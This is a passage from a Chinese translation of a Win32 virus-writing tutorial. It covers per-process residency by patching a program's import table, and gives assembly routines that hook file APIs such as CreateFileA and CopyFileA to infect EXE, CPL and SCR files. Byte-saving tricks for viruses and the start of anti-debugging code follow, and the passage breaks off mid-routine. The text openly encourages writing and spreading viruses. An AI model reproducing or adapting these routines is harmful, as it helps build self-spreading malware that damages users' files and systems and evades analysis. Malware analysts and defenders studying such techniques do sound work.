lea esi,dword ptr [ebx+top_chain] ; ESI = Ptr to stored variable
lodsd ; EAX = Top Chain
xor edx,edx ; EDX = 0
xchg [eax],edx ; Top Chain = NULL
; EDX = Address of Top Chain
pushad
call Infection
popad
mov [eax],edx ; Restore Top Chain
这个简单多了,啊?:)所有的概念("Hook_Info", "Top Chain", 等等)都是来自于Super,所以去惩罚一下他:)
%最后的话%
~~~~~~~~~~
我必须感谢3个在我编写第一个Ring-0的东东帮助过我的最重要的人:Super,Vecna和nIgr0(你们是好样的!)。好了,还有其它事情要说吗?呃...耶。Ring-0是我们在Win9X下的美梦,是的。但是总是有限制。如果我们,毒客们,找到了一个在系统中如NT或者将来的Win2000(NT5)下获取Ring-0特权的时候,就没关系了。Micro$oft将会做一个补丁或者一个Service Pack来修复所有这些可能的bug。无论如何,编写一个Ring-0病毒总是很有趣。对我来说经历确实有意思,并且帮助我知道了更多关于Windows内部结构的东西。系统几乎是胡乱的打开文件。只要看看其中的一个最多,最快的,传播最广的病毒是一个Ring-0病毒,CIH。
【每一线程驻留(Per-Process residency)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
一个用来讨论的非常有意思的话题:Per-Process residency,对所有的Win32平台都适用的一种方法。我已经把这一章从Ring-3那一章分离开来是因为我想它是一中进化,对于初学Ring-3来说也是稍微复杂了些。
%介绍%
~~~~~~
per-process residence首先由29A的Jacky Qwerty在1997年编写的。此外(对媒体来说,不是真正的-Win32.Jacky)它是第一个Win32病毒,它还是第一个Win32驻留病毒,使用从没见过的技术:per-process residence。那么你想知道"什么是per-process residence呢?"。我已经在DDT#1的一篇文章中解释了那个了,但是这里我将对这个方法作一个更深的分析。首先,你必须知道什么是Win32,和它的PE可执行文件是怎么工作的。当你调用一个API的时候,你将要调用一个由系统在运行期把Import Table(输入表)保存到内存的地址,这个输入表指向API在DLL中的入口点。为了作一个per-process驻留,你将要不得不对输入表做些手脚,并修改你想要钩住并指向你自己的代码的API地址值,这个代码能够处理指定的API,也就是说由API来处理感染文件。我知道这有一点点杂乱,但是正如在病毒代码编写的每一件事情中,开始总是看起来很难的,但是后面就非常简单了:)
--[DDT#1.2_4]---------------------------------------------------------------
恩,这个可能是我知道的编写Win32驻留病毒的唯一的已知途径。是的,你已经看到的是Win32而不是Win9X。这是因为这个方法还能够运行在WinNT下面。首先,你必须知道什么是一个进程。这个东西更使我奇怪的是那些开始在Windows下编程的人知道这个方法之后,并知道这个是个什么样的方法,但是他们通常不知道这个名字。好了,当我们执行一个Windows应用程序的时候,那就是一个进程:)非常容易理解。而这个驻留方式做了什么呢?首先我们必须开辟一块内存,为了把病毒主体放在那里,但是这个内存是从我们正在执行的自己的进程开始的。所以,我们开辟一些系统给这个进程的内存。它将由使用API函数"VirtualAlloc"来完成。但是...怎样来钩住API呢?现在据我所知最常用的方法是改变API在输入表(import table)中的地址。这是我的观点,唯一可行的方法。因为输入表可以被写,这就更简单了,而且我们不需要任何VxDCALL0的函数的帮助...
但是,这种类型的驻留病毒的弱点也在这里了...正如我们在输入表里所看到的,感染率严重依赖于我们要感染的文件。例如,如果我们感染WinNT的CMD.EXE,并且我有一个FindFirstFile(A/W)和FindNextFile(A/W)的感染例程,使用那些API的的所有文件都被感染。这就使得我们的病毒非常具有感染性,主要是因为当我们在WinNT下使用一个DIR命令的时候将会频繁使用。总之,如果我们不使用其它的方法来使它更具感染性的话,Per-Process方法将是非常脆弱的,如在Win32.Cabanas中,一个运行部分中。我们使得运行期部分每次感染/WINDOWS和/WINDOWS/SYSTEM目录下的一些文件。另外一个好的选择是,正如我在用CMD为例的例子里所说的,直接碰那些在第一次感染一个系统里的非常特别的文件...
--[DDT#1.2_4]---------------------------------------------------------------
我已经在1998年的12月份把它写出来了,虽然我发现它可以不通过开辟内存来实现,但是,我还是改了它使之更容易理解。
%输入表处理%
~~~~~~~~~~~~
下面使输入表的结构。
IMAGE_IMPORT_DESCRIPTOR
^^^^^^^^^^^^^^^^^^^^^^^
-----------------------------------<----+00000000h
| Characteristics | Size : 1 DWORD
-----------------------------------<----+00000004h
| Time Date Stamp | Size : 1 DWORD
-----------------------------------<----+00000008h
| Forwarder Chain | Size : 1 DWORD
-----------------------------------<----+0000000Ch
| Pointer to Name | Size : 1 DWORD
-----------------------------------<----+00000010h
| First Thunk | Size : 1 DWORD
-----------------------------------
现在让我们看看Matt Pietrek是怎么描述它的。
DWORD Characteristics
曾经,这个被看成一些标志。然而,微软改变了它的意思并不厌其烦地更新WINNT.H。这个域世界上是指向一个指针数组的偏移(一个RVA)。这些指针每个都指向一个IMAGE_IMPORT_BY_NAME结构。
DWORD TimeDateStamp
time/date 标志表明文件是什么时候建立的。
DWORD ForwarderChain
这个域和向前调用有关。向前调用包括在一个DLL中把它的一个函数发送引用到另外一个DLL。例如,在Windows NT中,NTDLL.DLL看起来有一些函数向前调用KERNEL32.DLL中的一些函数。一个应用程序可能会认为它在调用NTDLL.DLL中的一个函数,但是世界上最终调用KERNEL32.DLL中的函数。这个域包含了一个对FirstThunk数组(即将要描述)的索引。这个由这个域索引的函数将要向前调用到另外一个DLL中。不幸的是,这种函数是怎么向前调用的格式没有文档资料,而且向前调用的函数的例子很难找。
DWORD Name
这是一个以NULL结尾的包含输入的DLL的名字ASCII字符串的RVA。一般的例子是"KERNEL32.DLL" 和 "USER32.DLL"。
PIMAGE_THUNK_DATA FirstThunk
这个域是一个指向IMAGE_THUNK_DATA单元的偏移地址(一个RVA)。在几乎每种情况下,这个单元被理解成一个IMAGE_IMPORT_BY_NAME结构的指针。如果这个域不是这些指针的其中一个,那么它可能被认为是被输入的DLL的序数。资料中关于你是否真的可以通过序数而不是通过名字来输入一个函数并不很确切。一个IMAGE_IMPORT_DESCRIPTOR的重要的部分是输入的DLL名字和两个IMAGE_IMPORT_BY_NAME数组。在EXE文件中,这两个数组(指向Characteristics 和 FirstThunk域)是平行的,而且在每个数组的结尾是空指针。两个数组里的指针都指向一个IMAGE_IMPORT_BY_NAME结构。
现在正如你所知道的Matt Pietrek(G0D)的定义,我将在这里列出从输入表里获取API地址和到API(我们将要改变的,后面关于这个更多)的偏移地址的代码。
;--------从这里开始剪切-------------------------------------------------------
;
; GetAPI_IT 函数
; ==============
; 下面的代码能够从输入表(Import Table)中获取一些信息
;
GetAPI_IT proc
;-----------------------------------------------------------------------------
; Ok, 让我们摇摇头。这个函数需要的参数和返回如下:
;
; 输入 : EDI : 指向API名字的指针 (区分大小写)
; 输出 : EAX : API地址
; EBX : API地址在输入表(import table)中地址
;-----------------------------------------------------------------------------
mov dword ptr [ebp+TempGA_IT1],edi ; Save ptr to name
mov ebx,edi
xor al,al ; Search for "/0"
scasb
jnz $-1
sub edi,ebx ; Obtain size of name
mov dword ptr [ebp+TempGA_IT2],edi ; Save size of name
;-----------------------------------------------------------------------------
;我们首先保存指向API的指针到一个临时变量中,然后我们搜索那个字符串的结尾,由
;0标记的,然后我们把EDI的新值(指向0)它的旧值,这样就得到了API名字的大小。很
;迷人,不是吗?在这之后,我们把API名字的大小保存到另外一个临时变量中。
;-----------------------------------------------------------------------------
xor eax,eax ; Make zero EAX
mov esi,dword ptr [ebp+imagebase] ; Load process imagebase
add esi,3Ch ; Pointer to offset 3Ch
lodsw ; Get process PE header
add eax,dword ptr [ebp+imagebase] ; address (normalized!)
xchg esi,eax
lodsd
cmp eax,"EP" ; Is it really a PE?
jnz nopes ; Shit!
add esi,7Ch
lodsd ; Get address
push eax
lodsd ; EAX = Size
pop esi
add esi,dword ptr [ebp+imagebase]
;-----------------------------------------------------------------------------
;我们要做的第一件事是清空EAX,因为我们不要它的MSW。然后,我们要做的是在我们
;主体的头部检查PE签名。如果所有的事情都做好了,我们得到一个指向Import Table
;section (.idata)的指针。
;-----------------------------------------------------------------------------
SearchK32:
push esi
mov esi,[esi+0Ch] ; ESI = Pointer to name
add esi,dword ptr [ebp+imagebase] ; Normalize
lea edi,[ebp+K32_DLL] ; Ptr to "KERNEL32.dll",0
mov ecx,K32_Size ; ECX = Size of above string
cld ; Clear Direction Flag
push ecx ; Save size for later
rep cmpsb ; Compare bytes
pop ecx ; Restore size
pop esi ; Restore ptr to import
jz gotcha ; If matched, jump
add esi,14h ; Get another field
jmp SearchK32 ; Loop again
;-----------------------------------------------------------------------------
;首先我们再次把ESI压栈,我们将需要它被保存,因为正如你所知道的,它是.idata节
;的开始。然后,我们在ESI中得到的是名字的ASCII字符串(指针)的RVA,然后,我们把
;它用基址把那个值标准化,
;-----------------------------------------------------------------------------
gotcha:
cmp byte ptr [esi],00h ; Is OriginalFirstThunk 0?
jz nopes ; Fuck off if it is.
mov edx,[esi+10h] ; Get FirstThunk :)
add edx,dword ptr [ebp+imagebase] ; Normalize!
lodsd
or eax,eax ; Is it 0?
jz nopes ; Shit...
xchg edx,eax ; Get pointer to it!
add edx,[ebp+imagebase]
xor ebx,ebx
;-----------------------------------------------------------------------------
; 首先,我们检查OriginalFirstThunk域是否为NULL,如果它是,我们以一个错误退出。
; 然后,我们得到FirstThunk值,并通过加上基址(imagebase)来标准化它,并检查它
; 是否是0(如果它是,我们就有一个问题了,因此我们退出)。之后,我们把那个地址
; (FirshtThunk)放到EDX中,并标准化,在EAX中我们保存的是指向FirstThunk域的
; 指针。
;-----------------------------------------------------------------------------
loopy:
cmp dword ptr [edx],00h ; Last RVA? Duh...
jz nopes
cmp byte ptr [edx+03h],80h ; Ordinal? Duh...
jz reloop
mov edi,dword ptr [ebp+TempGA_IT1] ; Get pointer to API name
mov ecx,dword ptr [ebp+TempGA_IT2] ; Get API name size
mov esi,[edx] ; We retrieve the current
add esi,dword ptr [ebp+imagebase] ; pointed imported api string
inc esi
inc esi
push ecx ; Save its size
rep cmpsb ; Compare both stringz
pop ecx ; Restore it
jz wegotit
reloop:
inc ebx ; Increase counter
add edx,4 ; Get another ptr to another
loop loopy ; imported API and loop
;-----------------------------------------------------------------------------
; 首先,我们检查是否在数组(以null字符标记)的最后,如果是,我们离开。然后,我们
; 检查它是是否是一个序数,如果是,我们得到另外一个。接下来是有趣的东东:我们把
; 我们以前保存的指向要搜索的API名字的指针保存到EDI中,在ECX中是那个字符串的长
; 度,并把指向输入表中的当前的API的指针保存到ESI中。我们对这两个字符串进行比较
; 如果它们不相等,我们重新得到另外一个,直到我们找到了它或者我们到达输入表的
; 最后一个API。
;-----------------------------------------------------------------------------
wegotit:
shl ebx,2 ; Multiply per 4 (dword size)
add ebx,eax ; Add to FirstThunk value
mov eax,[ebx] ; EAX = API address ;)
test al,0 ; This is for avoid a jump,
org $-1 ; thus optimizing a little :)
nopes:
stc ; Error!
ret
;-----------------------------------------------------------------------------
; 非常简单:因为我们在EBX中的是计数,而且数组是一个DWORD数组,我们把它乘以4
; (为了得到和标志API地址的FirstThunk相关的偏移),然后我们在EBX中的是指向想要得到
; 的API在输入表中的地址的指针。非常完美:)
;-----------------------------------------------------------------------------
GetAPI_IT endp
;-------到这里为止剪切---------------------------------------------------------
OK,现在我们知道怎么样来玩输入表。但是我们需要更多的东西!
%运行期获取基址(imagebase)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
一个最普遍的错误是认为imagebase总是一个常量,或者它将总是为400000h。但是这和事实相去甚远。无论你在文件头里得到的是什么
imagebase,它可以被系统在运行期很容易地改变,所以我们将要访问一个不正确地地址,而且我们将会得到无法预料地回应。而获取它地方法是非常简单地。简单地使用通常的delta-offset例程。
virus_start:
call tier ; Push in ESP return address
tier: pop ebp ; Get that ret address
sub ebp,offset realcode ; And sub initial offset
OK?举个例子,让我们想象一下执行从401000h开始(几乎所有的由TLINK链接的文件)。所以,当我们使用了POP,我们将在EBP中得到诸如
00401005的结果。所以把它减去tier-virus_start,并减去当前的EIP(也就是说在所有的TLINK连接的文件中为1000h)?是的你得到了imagebase!所以将会如下:
virus_start:
call tier ; Push in ESP return address
tier: pop ebp ; Get that ret address
mov eax,ebp
sub ebp,offset realcode ; And sub initial offset
sub eax,00001000h ; Sub current EIP (should be
NewEIP equ $-4 ; patched at infection time)
sub eax,(tier-virus_start) ; Sub some shit :)
不要忘记在感染期修复NewEIP变量(如果你修改了EIP),所以它总是和PE文件头偏移28h处的值相等,也就是程序的EIP的RVA:)
[ 我的API钩子 ]
下面是我的GetAPI_IT例程的普查。这个基于如下的一个结构:
db ASCIIz_API_Name
dd offset (API_Handler)
例如:
db "CreateFileA",0
dd offset HookCreateFileA
而HookCreateFileA是一个处理钩住了的函数的例程。我使用这个结构的代码如下:
;---------从这里开始剪切-------------------------------------------------------------
HookAllAPIs:
lea edi,[ebp+@@Hookz] ; Ptr to the first API
nxtapi:
push edi ; Save the pointer
call GetAPI_IT ; Get it from Import Table
pop edi ; Restore the pointer
jc Next_IT_Struc_ ; Fail? Damn...
; EAX = API Address
; EBX = Pointer to API Address
; in the import table
xor al,al ; Reach the end of API string
scasb
jnz $-1
mov eax,[edi] ; Get handler offset
add eax,ebp ; Adjust with delta offset
mov [ebx],eax ; And put it in the import!
Next_IT_Struc:
add edi,4 ; Get next structure item :)
cmp byte ptr [edi]," " ; Reach the last api? Grrr...
jz AllHooked ; We hooked all, pal
jmp nxtapi ; Loop again
AllHooked:
ret
Next_IT_Struc_:
xor al,al ; Get the end of string
scasb
jnz $-1
jmp Next_IT_Struc ; And come back :)
@@Hookz label byte
db "MoveFileA",0 ; Some example hooks
dd (offset HookMoveFileA)
db "CopyFileA",0
dd (offset HookCopyFileA)
db "DeleteFileA",0
dd (offset HookDeleteFileA)
db "CreateFileA",0
dd (offset HookCreateFileA)
db " " ; End of array :)
;---------到这里为止剪切-------------------------------------------------------------
我希望它是高度清楚:)
%一般的钩子%
~~~~~~~~~~~~~
如果你发现了,有一些API,它的参数中,最后压栈的参数是一个指向一个存档(可以为一个可执行文件)的指针,所以我们可以hook它们并应用一个普通的处理首先来检测它的的扩展名,所以如果它是一个可执行文件,我们可以没有问题地感染它了:)
;---------从这里开始剪切-------------------------------------------------------------
; Some variated hooks :)
HookMoveFileA:
call DoHookStuff ; Handle this call
jmp [eax+_MoveFileA] ; Pass control 2 original API
HookCopyFileA:
call DoHookStuff ; Handle this call
jmp [eax+_CopyFileA] ; Pass control 2 original API
HookDeleteFileA:
call DoHookStuff ; Handle this call
jmp [eax+_DeleteFileA] ; Pass control 2 original API
HookCreateFileA:
call DoHookStuff ; Handle this call
jmp [eax+_CreateFileA] ; Pass control 2 original API
; The generic hooker!!
DoHookStuff:
pushad ; Push all registers
pushfd ; Push all flags
call GetDeltaOffset ; Get delta offset in EBP
mov edx,[esp+2Ch] ; Get filename to infect
mov esi,edx ; ESI = EDX = file to check
reach_dot:
lodsb ; Get character
or al,al ; Find NULL? Shit...
jz ErrorDoHookStuff ; Go away then
cmp al,"." ; Dot found? Interesting...
jnz reach_dot ; If not, loop again
dec esi ; Fix it
lodsd ; Put extension in EAX
or eax,20202020h ; Make string lowercase
cmp eax,"exe." ; Is it an EXE? Infect!!!
jz InfectWithHookStuff
cmp eax,"lpc." ; Is it a CPL? Infect!!!
jz InfectWithHookStuff
cmp eax,"rcs." ; Is is a SCR? Infect!!!
jnz ErrorDoHookStuff
InfectWithHookStuff:
xchg edi,edx ; EDI = Filename to infect
call InfectEDI ; Infect file!! ;)
ErrorDoHookStuff:
popfd ; Preserve all as if nothing
popad ; happened :)
push ebp
call GetDeltaOffset ; Get delta offset
xchg eax,ebp ; Put delta offset in EAX
pop ebp
ret
;---------到这里为止剪切-------------------------------------------------------------
一些可以用这个一般地例程来hook的API如下:
MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA
CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA
CopyFileExA, OpenFile。
%最后的话%
~~~~~~~~~~
如果还有什么不清楚的地方,发email给我。我将尽可能地用一个简单的per-process驻留的病毒来阐述它,但是我编写的唯一一个per-process病毒太复杂了,而且比这有更多的特色,所以对你来说还是看不明白:)
【Win32 优化】
~~~~~~~~~~~~~
Ehrm...Super应该做这个而不是我,因为我是他的学生,我就在这里写一下我在Win32编程世界里所学到的东西。我将在这一章里讨论本地优化而不是结构优化,因为这个取决于于你和你的风格(例如,我个人非常热衷于堆栈和delta offset计算,正如你在我的代码里可以看到的,特别是在Win95.Garaipena里)。这篇文章充满了我自己的观点和在Valencian(瓦伦西亚)会议上Super给我的建议。他可能在病毒编写领域里优化得最后得人了。我没有撒谎。这里我不讨论象他那样怎么进行最大优化了。我只是想要使你看到在编写Win32程序的时候一些最明显的优化。我就不对非常明显的优化花招注释了,已经在我的《MS-DOS病毒编写教程》里解释了。
%检测一个寄存器是否为0%
~~~~~~~~~~~~~~~~~~~~~~~
我很讨厌看到,特别在Win32程序员中,这些相同的方法,这个使得我非常慢而且非常痛苦。不,不,我得大脑不能吸收CMP EAX,0的主意,例如。OK,让我们看看为什么:
cmp eax,00000000h ; 5 bytes
jz bribriblibli ; 2 bytes (if jz is short)
嗨,我知道生活就是就是狗屎,而且你正在把许多代码浪费在一些狗屎比较上。OK,让我们看看怎么来解决这个问题,利用一个代码来做同样的事情,但是用更少的字节。
or eax,eax ; 2 bytes
jz bribriblibli ; 2 bytes (if jz is short)
或者等价的(但更安全!):
test eax,eax ; 2 bytes
jz bribriblibli ; 2 bytes (if jz is short)
而且还有一个甚至更优化的方法来做这个,如果对EAX的内容不是关心的话(在我打算放到这里之后,EAX的内容将在ECX中完成)。下面你得到:
xchg eax,ecx ; 1 byte
jecxz bribriblibli ; 2 bytes (only if short)
你看到了吗?对"我不优化因为我失去了稳定性"没有托词,因为利用这个,你将不会失去除了代码的字节数的任何东西;)嗨,我使得一个7字节的例程减到了3字节...嗨?对此你还有什么好说的?哈哈哈。
%检查一个寄存器的值是否为-1%
因为许多Ring-3 API会返回你一个-1(0FFFFFFFFh)值,如果函数失败的话,而且当你比较它是否失败的时候,你必须对那个值进行比较。但是和以前一样有同样的问题,许多人通过使用CMP EAX,0FFFFFFFFh来做这个,而且它可以更优化...
cmp eax,0FFFFFFFFh ; 5 bytes
jz insumision ; 2 bytes (if short)
让我们这么做来使它更优化:
inc eax ; 1 byte
jz insumision ; 2 bytes
dec eax ; 1 byte
嗨,可能它占了更多的行,但是占了更少的字节(4比7)。
%使得一个寄存器为-1%
~~~~~~~~~~~~~~~~~~~~
这是一个几乎所有的初学病毒编写者面对的问题:
mov eax,-1 ; 5 bytes
你难道没有意识到你的选择很糟糕?你只要一根神经吗?该死,用一个更优化的方法来把它置-1非常简单:
xor eax,eax ; 2 bytes
dec eax ; 1 byte
你看到了吗?它不难!
%清除一个32bit寄存器并对它的LSW赋值%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
最明显的例子是所有的病毒在把PE文件的节的个数装载到AX中(因为这个值在PE头中占一个word)。好了,让我们看看大多数病毒编写者所做的:
xor eax,eax ; 2 bytes
mov ax,word ptr [esi+6] ; 4 bytes
或者这样:
mov ax,word ptr [esi+6] ; 4 bytes
cwde ; 1 byte
我还在想为什么所有的病毒编写者还用这个"老"公式呢,特别地是在你有一个386+指令使得我们避免在把word放到AX中之前把寄存器清0。这个指令是MOVZX。
movzx eax,word ptr [esi+6] ; 4 bytes
嗨,我们避免了一个2字节的指令。Cool,哈?
%调用一个存储在一个变量中的地址%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
呵呵,这是一些病毒编写者所做的另外一件事,使我快疯了,放声大哭。让我提醒你记住:
mov eax,dword ptr [ebp+ApiAddress] ; 6 bytes
call eax ; 2 bytes
我们可以直接调用一个地址...它节约了字节而且不用其它的任何可以用来做其它事情的寄存器。
call dword ptr [ebp+ApiAddress] ; 6 bytes
而且,我节约了一个没有用的,不需要的占了两个字节的指令,而且我们做的是完全一样的事情。
%关于push的趣事%
~~~~~~~~~~~~~~~~
几乎和上面一样,但是是push。让我们看看什么该做什么不该做:
mov eax,dword ptr [ebp+variable] ; 6 bytes
push eax ; 1 byte
我们可以少用一个字节来做这个。看:
push dword ptr [ebp+variable] ; 6 bytes
Cool,哈?;)好了,如果我们需要push很多次(如果这个值很大,如果你把那个值push 2+次就更优化,而如果这个值很小把那个值push 3+次)同样的变量把它先放到一个寄存器中,然后push寄存器将更优化。例如,如果我们需要把0 push 3次,把一个寄存器和它本身xor,然后push这个寄存器更优化。让我们看:
push 00000000h ; 2 bytes
push 00000000h ; 2 bytes
push 00000000h ; 2 bytes
让我们看看怎么来优化它:
xor eax,eax ; 2 bytes
push eax ; 1 byte
push eax ; 1 byte
push eax ; 1 byte
同样的在使用SEH的时候,当我们需要push fs:[0]之类的时候。让我们看看怎样来优化:
push dword ptr fs:[00000000h] ; 6 bytes ; 666? Mwahahahaha!
mov fs:[00000000h],esp ; 6 bytes
[...]
pop dword ptr fs:[00000000h] ; 6 bytes
代之我们应该这么做:
xor eax,eax ; 2 bytes
push dword ptr fs:[eax] ; 3 bytes
mov fs:[eax],esp ; 3 bytes
[...]
pop dword ptr fs:[eax] ; 3 bytes
呵呵,看起来有点傻,但是我们少用了7个字节!哇!!!
%获取一个ASCII字符串的结尾%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个非常有用,特别在我们的API搜索引擎中。而且毫无疑问,它应该在所有的病毒中比传统的方法更优化。让我们看看:
lea edi,[ebp+ASCIIz_variable] ; 6 bytes
@@1: cmp byte ptr [edi],00h ; 3 bytes
inc edi ; 1 byte
jnz @@1 ; 2 bytes
inc edi ; 1 byte
这个相同的代码可以非常简化,如果你用这个方法来编写它:
lea edi,[ebp+ASCIIz_variable] ; 6 bytes
xor al,al ; 2 bytes
@@1: scasb ; 1 byte
jnz @@1 ; 2 bytes
呵呵呵。有用,简单,好看。你还需要什么呢?;)
%关于乘法%
~~~~~~~~~~
例如,当要从代码中得到最后一节的时候,这个代码大多数是这么用的(我们在EAX中是节数-1):
mov ecx,28h ; 5 bytes
mul ecx ; 2 bytes
它把结果保存在EAX中,对吗?好了,我们有一个好得多的方法来做这个,仅仅用一个指令:
imul eax,eax,28h ; 3 bytes
IMUL指令把结果保存在第一个寄存器中,这个结果是把第二个寄存器和第三个操作数相乘得到的在这里,它是一个立即数。呵呵,我们减少了2个指令还节约了4个字节!
%UNICODE 转成 ASCII%
~~~~~~~~~~~~~~~~~~~~
这里有许多事情要做。对于Ring-0病毒特别的是,有一个VxD服务来做那个,首先我要解释基于这个服务怎么来做优化,最终我将给出Super的方法,那个方法节约了大量的字节。让我们看看经典的代码(假设EBP是一个指向ioreq结构的指针,而EDI指向文件名):
xor eax,eax ; 2 bytes
push eax ; 1 byte
mov eax,100h ; 5 bytes
push eax ; 1 byte
mov eax,[ebp+1Ch] ; 3 bytes
mov eax,[eax+0Ch] ; 3 bytes
add eax,4 ; 3 bytes
push eax ; 1 byte
push edi ; 1 byte
@@3: int 20h ; 2 bytes
dd 00400041h ; 4 bytes
特别指出的是对那个代码只有1个改进,把第3行替代成这样:
mov ah,1 ; 2 bytes
或者这样 ;)
inc ah ; 2 bytes
呵呵,但是我要说的是Super把这个进行了最大的优化。我没有复制他的获取指向文件名unicode的指针的代码,因为,几乎无法看懂,但是我理解了他的理念。假设EBP是指向一个ioreq结构的指针,buffer是一个100h字节的缓冲区。下面是一些代码:
mov esi,[ebp+1Ch] ; 3 bytes
mov esi,[esi+0Ch] ; 3 bytes
lea edi,[ebp+buffer] ; 6 bytes
@@l: movsb ; 1 byte 目
dec edi ; 1 byte ?This loop was
cmpsb ; 1 byte ?made by Super ;)
jnz @@l ; 2 bytes 馁
呵呵,最主要的是所有例程(没有本地优化)是26个字节,用同样的方法进行本地优化后是23字节,而最后的例程,结构优化后是17个字节。哇哈哈哈!!!
%虚拟大小(VirtualSize)计算%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个标题是一个给你显示另外一个奇怪的代码的理由,对于VirtualSize计算非常有用,因为我们不得不把它加上一个值,在我们加之前是获得这个值。当然了,我将要讨论的操作符是XADD。Ok,ok,让我们看看没有优化的VirtualSize计算(我假设ESI是一个指向最后一节的头部的指针):
mov eax,[esi+8] ; 3 bytes
push eax ; 1 byte
add dword ptr [esi+8],virus_size ; 7 bytes
pop eax ; 1 byte
让我们看看用XADD该是什么样:
mov eax,virus_size ; 5 bytes
xadd dword ptr [esi+8],eax ; 4 bytes
用XADD我们节约了3个字节;)Btw,XADD是一个486+指令。
%设置堆栈结构%
~~~~~~~~~~~~~~
让我们看看没有优化的:
push ebp ; 1 byte
mov ebp,esp ; 2 bytes
sub esp,20h ; 3 bytes
而如果我们优化了...
enter 20h,00h ; 4 bytes
很迷人,不是吗?;)
%重叠%
~~~~~~
这个简单的东西最初是由Demogorgon/PS为了隐藏代码而使用的。但是正如我要显示给你看的,它可以节约一些字节。例如,让我们想象一个如果有一个错误就会设置进位标志(carry flag)而如果没有错误就清除的例程。
noerr: clc ; 1 byte
jmp exit ; 2 bytes
error: stc ; 1 byte
exit: ret ; 1 byte
但是如果任何8比特寄存器不重要的话(例如,让我们假设ECX寄存器的内容不重要),我们可以减少一个字节:
noerr: clc ; 1 byte
mov cl,00h ; 1 byte /
org $-1 ; > MOV CL,0F9H
error: stc ; 1 byte /
ret ; 1 byte
我们可以用一个小小的改变来避免CLC:使用TEST(用AL的话,它会更加优化)来清除进位标志,而且AL不会改变:)
noerr: test al,00h ; 1 byte /
org $-1 ; > TEST AL,0AAH
error: stc ; 1 byte /
ret ; 1 byte
很美妙,哈?
%把一个8比特立即数赋给一个32比特寄存器%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
几乎所有人都是这么做的:
mov ecx,69h ; 5 bytes
这是一个真正没优化的东西...试试这个:
xor ecx,ecx ; 2 bytes
mov cl,69h ; 2 bytes
试试这个甚至更好:
push 69h ; 2 bytes
pop ecx ; 1 byte
所有人都还好吗? :)
%清除内存中的变量%
~~~~~~~~~~~~~~~~~~
OK,这个总是很有用的。通常人们这么做:
mov dword ptr [ebp+variable],00000000h ; 10 bytes (!)
OK,我知道这是一件很原始的事情:)OK,用这个你将赢得3个字节:
and dword ptr [ebp+variable],00000000h ; 7 bytes
呵呵呵呵 :)
%花招和诀窍%
~~~~~~~~~~~~
这里我将给出一些不经典的优化诀窍,我假设你读过这篇文章之后你就知道了这个 ;)
-不要在你的代码中直接使用JUMP。
-使用字符串操作(MOVS, SCAS, CMPS, STOS, LODS)。
-使用LEA reg,[ebp+imm32]而不是使用MOV reg,offset imm32 / add reg,ebp。
-使你的汇编编译器对代码多扫描几遍(在TASM中,/5就很好了)。
-使用堆栈,尽量避免使用变量。
-试图避免使用AX,BX,CX,DX,SP,SI,DI 和 BP,因为他们多占一个字节。
-许多操作(特别使逻辑操作)是为EAX/AL寄存器优化的。
-如果EDX比80000000h小(也就是说没有符号),使用CDQ来清除EDX
-使用XOR reg,reg或者SUB reg,reg来使得寄存器为0。
-使用EBP和ESP作为索引将比EDI,ESI等等多浪费1个字节。
-对于位操作使用BT家族的指令(BT,BSR,BSF,BTR,BTF,BTS)。
-如果寄存器的顺序不重要的话使用XCHG代替MOV。
-在push一个IOREQ结构的所有的值的时候,使用一个循环。
-尽可能地使用堆(API地址,临时感染变量,等等)
-如果你愿意,使用条件MOV(CMOVS),但是它们是586+才能用的。
-如果你知道怎么用,使用协处理器(例如它的堆栈)。
-使用SET族的操作符。
-为了调用IFSMgr_Ring0_FileIO(不需要ret),使用VxDJmp而不是VxDCall。
%最后的话%
~~~~~~~~~~
我希望你至少理解了这一章的开始几个优化,因为它们是那些使我变疯的一些优化。我知道我不是优化得最后得人,也不是那些人之一。对我来说,大小没有关系。无论如何,最明显的优化是必须要做的,至少表明你知道一些事情。更少的无用的字节就意味着一个更好的病毒,相信我。我这里显示的优化不会使你的病毒失去稳定性。只要试着去使用它们,OK?它是很有逻辑性的,同志们。
【Win32 反调试】
~~~~~~~~~~~~~~~
下面我将给出一些花招用来保护你的病毒或者程序不被调试(所有级别的,应用级和系统级)。我希望你将喜欢它。
% Win98/NT: 用 IsDebuggerPresent检测应用级调试器 %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个API函数在Win95中没有,所以你不得不自己检测它的存在,并和应用级调试器(如TD32)一起工作。而且它工作得很好。让我们看看在Win32 API参考列表里面是怎么写的。
--------------------------------------------
IsDebuggerPresent函数表明调用的进程是否是在一个调试器下运行。这个函数从KERNEL32.DLL中导出。
BOOL IsDebuggerPresent(VOID)
参数
====
这个函数没有参数。
返回值
======
-如果当前进程是在一个调试器下运行,返回值是非0值。
-如果当前进程不在调试器下运行,返回值是0。
--------------------------------------------
所以演示这个的例子很简单。下面就是。
;--------从这儿开始剪切------------------------------------------------------
.586p
.model flat
extrn GetProcAddress:PROC
extrn GetModuleHandleA:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
szTitle db "IsDebuggerPresent Demonstration",0
msg1 db "Application Level Debugger Found",0
msg2 db "Application Level Debugger NOT Found",0
msg3 db "Error: Couldn't get IsDebuggerPresent.",10
db "We're probably under Win95",0
@IsDebuggerPresent db "IsDebuggerPresent",0
K32 db "KERNEL32",0
.code
antidebug1:
push offset K32 ; Obtain KERNEL32 base address
call GetModuleHandleA
or eax,eax ; Check for fails
jz error
push offset @IsDebuggerPresent ; Now search for the existence
push eax ; of IsDebuggerPresent. If
call GetProcAddress ; GetProcAddress returns an
or eax,eax ; error, we assume we're in
jz error ; Win95
call eax ; Call IsDebuggerPresent
or eax,eax ; If it's not 0, we're being
jnz debugger_found ; debugged
debugger_not_found:
push 0 ; Show "Debugger not found"
push offset szTitle
push offset msg2
push 0
call MessageBoxA
jmp exit
error:
push 00001010h ; Show "Error! We're in Win95"
push offset szTitle
push offset msg3
push 0
call MessageBoxA
jmp exit
debugger_found:
